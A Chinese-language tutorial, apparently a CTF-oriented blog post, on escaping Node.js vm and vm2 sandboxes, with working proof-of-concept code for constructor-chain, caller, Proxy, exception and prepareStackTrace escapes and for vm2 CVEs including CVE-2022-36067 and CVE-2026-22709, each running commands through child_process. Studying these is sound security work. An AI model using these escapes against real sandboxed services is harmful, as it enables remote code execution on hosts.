0x01 写在前面

该文同时发布在”Zer0day安全”微信公众号,也是我第一次写公众号文章,欢迎师傅们多多关注Zer0day安全

0x02 沙箱逃逸初识

在学习沙箱逃逸之前,需要先明确的一些基本概念

JavaScript和Node.js的区别

两者的主要区别在于这两种技术在Web应用程序开发中的应用方式,JavaScript 基本上是一种编程或脚本语言,可以在任何安装了 JavaScript 引擎的浏览器中运行,而 Node.js 是一个跨平台、后端、开源的 JavaScript 运行时环境,构建在Chrome的V8 JavaScript 引擎之上,并在Web浏览器之外执行JS代码。简单来说:Node.js是一个让 JavaScript 能够在服务端运行的环境

沙箱(sandbox)的基本概念

沙箱机制,或称沙盒技术,是一种安全技术,用于隔离运行中的程序,以防止程序对计算机系统造成未授权的更改或破坏。沙箱为程序提供了一个受限的执行环境,程序在这个环境中运行,就像孩子在沙盒中玩耍一样,可以自由活动,但不会影响到沙盒外的世界。让用户提交 JS 代码并在服务器上执行,是一些 OJ、量化网站重要的服务,也是CTF的考察重点。为了不让恶意用户执行任意的 JS 代码,就需要确保其运行在沙箱中

沙箱,虚拟机和容器之间的区别

沙箱(sandbox)是应用/进程级别的安全隔离机制,核心是权限限制 + 环境隔离,把程序关在一个可控区域里,禁止访问外部系统、文件、硬件,防止风险扩散

虚拟机(VM)是硬件层面的虚拟化, 模拟出一整套 CPU、内存、磁盘、网卡等硬件,每台虚拟机都有独立的操作系统和内核,和宿主机、其他虚拟机完全隔绝

容器(Docker)是操作系统层面的虚拟化。 它共用宿主机内核,通过资源隔离和资源限制,只封装应用和依赖,不虚拟硬件

总结:沙箱、虚拟机和容器的核心区别在于隔离层级和实现机制:沙箱是一种安全隔离机制,虚拟机提供硬件级隔离,而Docker容器提供操作系统级隔离

Node.js的沙箱创建

Node.js中创建沙箱主要有三种方式:使用内置vm模块、使用vm2增强库以及采用进程隔离方案,其中vm2是当前最推荐的安全选择,内置vm模块因安全风险不建议用于生产环境

0x03 Node.js的作用域

在Node.js的编程环境中,每个JavaScript文件都被视为一个独立的模块,它们各自拥有自己的私有作用域(或称为上下文)。这意味着,一个模块内部定义的变量、函数等默认情况下是无法被其他模块直接访问的。这种设计保证了模块之间的独立性和封装性,避免了全局命名空间的污染

模块作用域(Module Scope)

每个Node.js文件都被视为一个独立的模块。这些模块拥有它们自己的作用域,也就是说,一个模块中的变量、函数等默认不会影响到其他模块。这种设计使得模块之间天然隔离,减少了相互之间的干扰。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//test1.js
let name = 'G3ng4r'

//test2.js
const whoami = require('./test1.js')
console.log(whoami.name) //输出undefined
require`只返回一个模块的导出对象,但是此时输出为`undefined`,说明此时test2.js并没有导入test1.js的变量,需要使用元素输出的接口`exports
//test1.js
let name = 'G3ng4r'
exports.name = name //使用exports接口导出变量name

//test2.js
const whoami = require('./test1.js')
console.log(whoami.name) //输出G3ng4r

两包关系如图所示,接下来讲讲图中的global是什么

img

全局作用域(Global Scope)

在Node.js中,global 对象是一个全局对象,它的属性和方法在所有模块中都是可访问的。这包括了如consoleprocessBuffer等内置对象,以及任何直接添加到global对象上的自定义属性或方法。

1
2
3
4
5
6
//test1.js
global.name = 'G3ng4r'

//test2.js
require('./test1.js')
console.log(name)

通过上面的例子可以看到,在输出name时,即使test2.js中没有定义name变量也可以直接使用name进行输出,test1.js中的name也不需要使用exports进行导出,因为此时name已经挂载在global上了

但是,通常不推荐在全局作用域中添加大量自定义变量或函数,因为这可能会导致命名冲突和难以追踪的错误。

0x04 vm模块API

前面已经介绍了 Node.js 的作用域,设想如果创建一个新的作用域,让代码在这个新的作用域里面去运行,就能与其他作用域进行隔离,事实上这就是vm模块运行的原理,首先介绍vm模块常用API

vm.runinThisContext(code)

在当前global(全局上下文)下创建一个作用域,并将接收到的参数当作代码运行。sandbox中可以访问到global中的属性,但无法访问其他包中的属性

img

1
2
3
4
5
const vm = require('vm')
let localName = 'Zer0day'
const sandboxName = vm.runInThisContext('name = "G3ng4r"')
console.log(sandboxName) //G3ng4r
console.log(localName) //Zer0day(当前模块作用域的localName并没有被vm影响)

注意:在 JavaScript 中,赋值操作符不仅会把右边的值赋给左边,它还会返回这个被赋的值,例子中rename的值实际上是vm的运行结果返回

vm.createContext([sandbox])

传入的 sandbox 对象被绑定到 V8 的新 context,在当前global对象之外创建一个全新的作用域,沙箱内运行的代码会将 sandbox 的属性视为全局变量,除非显式传入否则沙箱内无法直接访问 Node.js 的全局对象。配合下面的vm.runInContext()使用

vm.runInContext(code, contextifiedSandbox[, options])

参数为要执行的代码和创建完作用域的沙箱对象,将对象”上下文化”,使其成为独立执行环境的全局对象,在指定沙箱环境中编译并执行 JavaScript 代码,并且参数的值与沙箱内的参数值相同

img

1
2
3
4
5
6
7
8
const util = require('util')
const vm = require('vm')
global.globalVar = 333
const sandbox = { globalVar : 111 }
vm.createContext(sandbox)
vm.runInContext('globalVar *= 2',sandbox)
console.log(util.inspect(globalVar)) //333
console.log(util.inspect(sandbox.globalVar)) //222

vm.runInNewContext(code,[, sandbox][, options])

creatContextrunInContext的结合版,传入要执行的代码和沙箱对象

1
2
3
4
5
6
7
const util = require('util')
const vm = require('vm')
global.globalVar = 333
const sandbox = { globalVar : 111 }
vm.runInNewContext('globalVar *= 2',sandbox)
console.log(util.inspect(globalVar)) //333
console.log(util.inspect(sandbox.globalVar)) //222

vm.Script类

Node.js 内置 vm 模块提供的类,用于编译但不执行 JavaScript 代码,编译后的脚本可以被多次执行,并且允许自定义全局对象和执行环境

new vm.Script(code, options):code是不绑定于任何全局对象的,它仅仅绑定于每次执行它的对象

script.runInContext([contextifiedSandbox[, options]]): 在指定的上下文中执行预编译的脚本

script.runInNewContext([sandbox[, options]]): 创建一个新的上下文并在其中执行脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
const util = require('util')
const vm = require('vm')
const sandbox = {
school : 'tjut',
grade : 1,
team : 'zer0day'
}
const script = new vm.Script('school = "TUT";grade += 1;student = "G3ng4r"')
//将sandbox的引用传入V8上下文
const context = vm.createContext(sandbox)
//执行预编译脚本
script.runInContext(context)
console.log(util.inspect(sandbox)) //{ school: 'TUT', grade: 2, team: 'zer0day', student: 'G3ng4r' }

0x05 vm沙箱逃逸

一般进行沙箱逃逸最后的目的都是进行rce,在Node中进行rce就需要获取process对象,用require来导入child_process,再利用child_process执行命令,这就是Node中最常规的rce过程

process挂载在global上,而在creatContext后是不能访问到global的,所以我们最终的目标是通过各种办法将global上的process引入到沙箱中:

.constructor.constructor / .toString.constructor

1
2
3
const vm = require("vm")
const demo = vm.runInNewContext(`this.constructor.constructor('return process.env')()`)
console.log(demo)

成功输出了env内容,为什么能在vm.runInNewContext中拿到process呢,this指向的是this指向的是当前传递给runInNewContext的对象,该对象不属于沙箱环境内部,利用.constructor获取该对象的构造器Function,再利用.constructor获取Function的构造器,由这层继承关系Function.constructor位于global中,利用其构造返回process的函数,最后通过()调用获取process对象

类似的,this.toString.constructor也能获取到Function.constructor完成获取目的,完成rce:

1
2
3
const vm = require("vm")
const proc = vm.runInNewContext(`this.toString.constructor('return process')()`)
console.log(proc.mainModule.require('child_process').execSync('whoami').toString())

除了this还有什么能在沙箱中通过继承关系逃逸出来呢?可以尝试利用沙箱中的变量吗

1
2
3
4
5
6
7
8
9
10
11
12
const inspect = require('util').inspect;
const vm = require('vm');
const script = new vm.Script(`
(zer0day => {
const demmo = a.toString.constructor('return process')()
return demo.mainModule.require('child_process').execSync('whoami').toString()
})()
`);
const sandbox = {a: 114, b : '514', c : true};
const context = new vm.createContext(sandbox);
const res = script.runInContext(context);
console.log(res);

以上三个变量都逃逸失败**”ReferenceError: process is not defined”,**因为数字,字符串,布尔(包括)这些都是primitive类型(原始类型,也称基本数据类型),在传递的过程中是将值传递过去而不是引用(类似于函数传递形参),因此沙盒内使用的a,b,c只是它们的值而不是其本身,相当于在沙箱中直接声明,这是没有办法利用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const inspect = require('util').inspect;
const vm = require('vm');
const script = new vm.Script(`
(zer0day => {
// const demmo = a.toString.constructor('return process')()
// const demmo = b.toString.constructor('return process')()
const demo = c.toString.constructor('return process')()
return demo.mainModule.require('child_process').execSync('whoami').toString()
})()
`);
const sandbox = {a: 114, b : '514', c : true};
const context = new vm.createContext(sandbox);
const res = script.runInContext(context);
console.log(res);

但是可以将其设为[] , {} 这样的对象实例类型,内置构造/自定义函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const inspect = require('util').inspect;
const vm = require('vm');
const script = new vm.Script(`
(zer0day => {
const demo = c.constructor.constructor('return process')()
return demo.mainModule.require('child_process').execSync('whoami').toString()
})()
`);
const sandbox = {a: [], b : {}, c : /cillo/};
//实例对象: {} [] /regex/
//内置构造函数: String Number Symbol BigInt Array Object Function RegExp Data Error TypeError SyntaxError Map Set WeakMap WeakSet ArrayBuffer DataView
//自定义函数: ()=>{} function(){}
const context = new vm.createContext(sandbox);
const res = script.runInContext(context);
console.log(res);

arguments.callee.caller

下面的例子中this为null,并且也没有其他可以引用的对象

1
2
3
4
5
6
const vm = require('vm');
const script = `xxx`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Cillo ' + res)

但是在函数中存在内置对象的属性arguments.callee.caller,它可以返回函数的调用者

arguments:一个类数组对象,存在于每一个正在执行的函数内部,包含传递给该函数的所有参数

arguments.callee:rguments 对象的一个属性,它指向当前正在执行的函数本身

arguments.callee.caller:这是 Function 对象的一个属性(caller),指向调用当前函数的那个函数,如果当前函数是在全局作用域被调用的(没有父函数),返回 null

利用好arguments.callee.caller完成沙箱外对象的获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const vm = require('vm');
const script =
`(() => {
const demo = {}
// 重写toString()
demo.toString = function () {
// 获取调用该函数的对象
const c = arguments.callee.caller;
// 沙箱逃逸获取process
const p = (c.constructor.constructor('return process'))();
// 完成rce
return p.mainModule.require('child_process').execSync('whoami').toString()
}
// 返回该对象
return demo
})()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Cillo ' + res)

前面演示的沙箱逃逸其实就是找到一个沙箱外的对象,并调用其中的方法,这种情况下其实也是一样的,只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.callee.caller就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了,比如说例子中console.log通过字符串拼接的方式触发toString()函数,我们就对restoString()进行重写触发rce

Proxy劫持属性

触发利用链的逻辑就是我们在get:这个钩子里写了一个恶意函数,当我们在沙箱外访问proxy对象的任意属性(不论是否存在)这个钩子就会自动运行,实现了rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const vm = require("vm");

const script =
`
(() =>{
const demo = new Proxy({}, {
get: function(){
const c = arguments.callee.caller;
const p = (c.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
return demo
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.zer0day)

异常抛出

如果沙箱的返回值返回的是我们无法利用的对象或者没有返回值,可以借助异常,将沙箱内的对象抛出去,在外部输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const vm = require("vm");

const script =
`
throw new Proxy({}, {
get: function(){
const c = arguments.callee.caller;
const p = (c.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
`

try {
vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
console.log("error:" + e)
}

抛出后catch捕获到了throw出的proxy对象,在console.log时由于将字符串与对象拼接,将报错信息和rce的回显一起带了出来,所以说结合题目提供源码具体分析应对

0x06 vm2沙箱逃逸

不难看出vm模块的沙箱仍存在很大的安全风险,因此Node后续升级了vm,也就是现在的vm2沙箱,在vm的基础上,通过es6新增的代理机制,来拦截对外部属性的访问

vm2 API

vm2 的代码包中主要有四个文件 cli.js,contextify.js,main.jssandbox.js

  • cli.js:实现vm2的命令行调用
  • contextify.js:封装了三个对象, ContextifyDecontextify ,并且针对 global 的Buffer类进行了代理
  • main.js:vm2执行的入口,导出了 NodeVM, VM 这两个沙箱环境,还有一个 VMScript 实际上是封装了 vm.Script
  • sadbox.js:针对 global 的一些函数和变量进行了hook,比如 setTimeoutsetInterval

vm2相比vm做了很大的改进,其中之一就是利用了es6新增的 proxy 特性,从而拦截对诸如 constructorproto 这些属性的访问

1
2
3
4
const {VM, VMScript} = require("vm2");
const script = new VMScript("let a = 3;a");
let vm = new VM()
console.log(vm.run(script));

其中 VM 是vm2在vm的基础上封装的一个虚拟机,我们只需要实例化之后调用 run 方法即可运行一段脚本

img

当我们创建一个VM的对象的时候,vm2内部引入了 contextify.js,并且针对上下文 context 进行了封装,最后调用 script.runInContext(context) ,可以看到,vm2最核心的操作就在于针对context的封装,具体的封装上下文过程 https://www.anquanke.com/post/id/207283

Decontextify.instance利用

vm2会为对象配置代理并初始化,如果对象是以下类型:

img

就会return Decontextify.instance 函数,这个函数中用到了Symbol全局对象,我们可以通过劫持Symbol对象的getter并抛出异常,接着在沙箱内拿到这个异常对象

1
2
3
4
5
6
7
8
9
10
11
Symbol = {
get toStringTag(){
throw f=>f.constructor("return process")()
}
};
try{
Buffer.from(new Map());
}catch(f){
Symbol = {};
f(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}

has方法未代理

漏洞原理:箱中自己定义了Object.prototype.has()方法,在该方法里面通过获取t变量(也就是主键)的构造器,然后再返回process对象,通过 "" in Buffer.from 来触发has方法来实现返回process对象

1
2
3
4
5
6
7
8
9
10
11
12
const {VM} = require('vm2');
const untrusted = `var process;
Object.prototype.has=(t,k)=>{
process = t.constructor("return process")();
}
"" in Buffer.from;
process.mainModule.require("child_process").execSync("whoami").toString()`
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

prepareStackTrace攻击

vm2版本<3.9.10

覆盖prepareStackTrace导致沙箱逃逸,直接给自定义了一个变量LocalWeakMap存储了WeakMap方法对应的get和set,这样即使对WeakMap.prototype.set重写了,最后set的时候也是调用的是localWeakMap.Set

1
2
3
4
5
6
7
8
9
10
const { set } = WeakMap.prototype;
WeakMap.prototype.set = function(v) {
return set.call(this, v, v);
};
Error.prepareStackTrace =
Error.prepareStackTrace =
(_, c) => c.map(c => c.getThis()).find(a => a);
const { stack } = new Error();
Error.prepareStackTrace = undefined;
stack.process

vm2沙箱逃逸CVE

具体参考https://www.cnblogs.com/zpchcbd/p/16899212.html

CVE-2019-10761

vm2版本<=3.6.10

漏洞原理:在沙箱内不断递归一个函数,当递归次数超过当前环境的最大值时,正好调用沙箱外的函数,就会导致沙箱外的调用栈被爆掉,在沙箱内catch这个异常对象,就拿到了一个沙箱外的对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
length: 10,
utf8Write(){

}
}
function r(i){
var x = 0;
try{
x = r(i);
}catch(e){}
if(typeof(x)!=='number')
return x;
if(x!==i)
return x+1;
try{
f.call(ft);
}catch(e){
return e;
}
return null;
}
var i=1;
while(1){
try{
i=r(i).constructor.constructor("return process")();
break;
}catch(x){
i++;
}
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

CVE-2021-23449

vm2版本<3.9.5

漏洞原理:import()在JavaScript中是一个语法结构而非函数,没法通过之前对require这种函数处理相同的方法来处理它,导致实际上调用import()的结果实际上是没有经过沙箱的外部变量,再获取这个变量的属性即可绕过沙箱

vm2对此的修复方法也很粗糙,正则匹配并替换了\bimport\b关键字,在编译失败的时候,报Dynamic Import not supported错误

1
2
let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();

CVE-2022-36067

vm2版本<3.9.11

漏洞原理:在3.9.10中并没有对Error做相关的限制,导致可以重新定义一个Error来绕过对LocalErrorprepareStackTrace的操作,就是我们通过实例化Error对象就可以获得栈的情况,其中prepareStackTrace()函数定义了如何对异常的栈的处理,我们这边进行重写,因为栈中不仅包含了沙箱的栈还包含了其他作用域下的栈,那么思路就出来了,我们只需要通过遍历栈中的对象,拿到全局作用域下的process即可进行逃逸

1
2
3
4
5
6
globalThis.OldError=globalThis.Error;
globalThis.Error={}
globalThis.Error.prepareStackTrace=(errStr,traces)=>{
traces[0].getThis().process.mainModule.require('child_process').execSync('calc')
}
const {stack}=new globalThis.OldError

CVE-2026-22709

vm2 <= 3.10.0

vm2使用Promisethencatch 方法时,对回调函数的清理存在缺陷: localPromise.prototype.then 的回调被正确清理 , globalPromise.prototype.then/catch 的回调未被清理 ,async 函数返回的是 globalPromise 对象,而非 localPromise ,可以通过 async 函数配合异常处理,获取宿主环境的对象引用,进而实现沙箱逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const { VM } = require("vm2");

const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('calc')"
);
f();
});
`;

new VM().run(code);

更多vm2逃逸攻击

https://github.com/patriksimek/vm2/blob/master/test/vm.js

参考文章

https://xz.aliyun.com/news/11305

https://xz.aliyun.com/news/14596

https://xz.aliyun.com/news/91455

https://zhuanlan.zhihu.com/p/543072560

https://zhuanlan.zhihu.com/p/2015171265678304778

https://www.anquanke.com/post/id/207283

https://www.cnblogs.com/zpchcbd/p/16899212.html